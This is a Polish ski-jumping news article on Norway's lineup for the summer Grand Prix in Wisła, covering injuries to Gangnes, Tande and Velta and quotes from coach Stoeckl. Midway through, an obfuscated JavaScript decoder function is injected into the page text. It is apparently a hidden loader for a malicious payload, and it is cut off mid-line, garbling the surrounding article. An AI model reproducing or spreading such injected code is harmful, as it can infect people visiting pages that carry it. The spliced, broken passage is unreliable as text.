You are currently viewing Norwegowie wystartują w Wiśle najmocniejszym składem

Norwegowie wystartują w Wiśle najmocniejszym składem

forfang LGP Wisła 2015 fot. MO - Norwegowie wystartują w Wiśle najmocniejszym składemPo inauguracji cyklu LGP we Francji, w której na starcie pojawiła się norweska kadra B, trener Alexander Stoeckl postanowił zabrać do Wisły swoich aktualnie najmocniejszych (i dyspozycyjnych) podopiecznych. Pod nieobecność kontuzjowanych gwiazd (Tande i Gangnesa), na skoczni im. Adama Małysza zaprezentuj się m.in. Forfang i Fannemel.

 
Stjernen Andreas fot.Katarzyna.Sluzewska 300x199 - Norwegowie wystartują w Wiśle najmocniejszym składem
Andreas Stjernen, fot. Katarzyna Służewska

Już letnie przygotowania przysporzyły trenerowi Stoecklowi sporego bólu głowy. Poważnej kontuzji kolana nabawił się Kenneth Gangnes, kłopotliwych urazów doznali także Daniel-Andre Tande oraz Rune Velta. W związku z tym w konkursach FIS Grand Prix w Wiśle Malince zaprezentuje się nieco zmieniony skład ekipy Wikingów. Mimo problemów, szkoleniowiec chce do Polski zabrać swoich najmocniejszych podopiecznych, którzy nie zmagają się z dolegliwościami zdrowotnymi.

Pewni udziału w drugim etapie LGP są już: Anders Fannemel, Johann Andre Forfang, Andreas Stjernen i Joachim Hauer. Do składu powinien także dołączyć Tom Hilde, możliwe także, że Stoeckl zaufa jednemu z podopiecznych Thomasa Lobbena z kadry B, którzy zainaugurowali sezon w Courchevel. Przypomnijmy, że we Francji reprezentantami Norwegii byli: Rune Velta, Robert Johansson, Joacim Oedegaard Bjoereng i Halvor Egner Granerud. Tym samym drużyna pod wodzą austriackiego szkoleniowca najprawdopodobniej wykorzysta 6-osobową kwotę startową, która przysługuje jej w pierwszym periodzie sezonu 2016/2017.

- Norwegowie wystartują w Wiśle najmocniejszym składemfunction u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ander Stoeckl, fot. Bartosz Leja" src="http://www.skokipolska.pl/wp-content/uploads/2013/05/stoeckl_alexander_b.leja-300x200.jpg" alt="Aleksander Stoeckl, fot. Bartosz Leja" width="300" height="200" /> Aleksander Stoeckl, fot. Bartosz Leja

Niedawno Alexander Stoeckl odniósł się także do licznych kontuzji, które przydarzyły się jego zawodnikom. - Nie uważam, żeby urazy były wynikiem naszego treningu. To zupełny przypadek, że wydarzyło się to równocześnie. Nie można porównywać kontuzji Kennetha, Daniela i Rune, są to trzy zupełnie różne uszkodzenia, nie można ich ze sobą wiązać - podkreślił 42-latek i dodał: - Poważne obrażenia ma Gangnes, dla Tande to krótki, sześciotygodniowy etap, a uraz Velty jest drobny, szybko minie.

Jak przyznał doświadczony trener, nie przejmuje się przesadnie kontuzjami, a także tym, że norweski zespół w ostatnich miesiącach i latach opuściło wielu doświadczonych zawodników. - Wszystko okaże się gdy nadejdzie zima. Nie myślę o tym teraz zbyt dużo, jestem przyzwyczajony do tego, że niektórzy ludzie odchodzą. Wiem, że mamy wystarczająco dużo skoczków gotowych do przyspieszenia, mam nadzieję, że dołączy do nas ktoś z kadry B.

 

źródło: nettavisen.no

 

Dodaj komentarz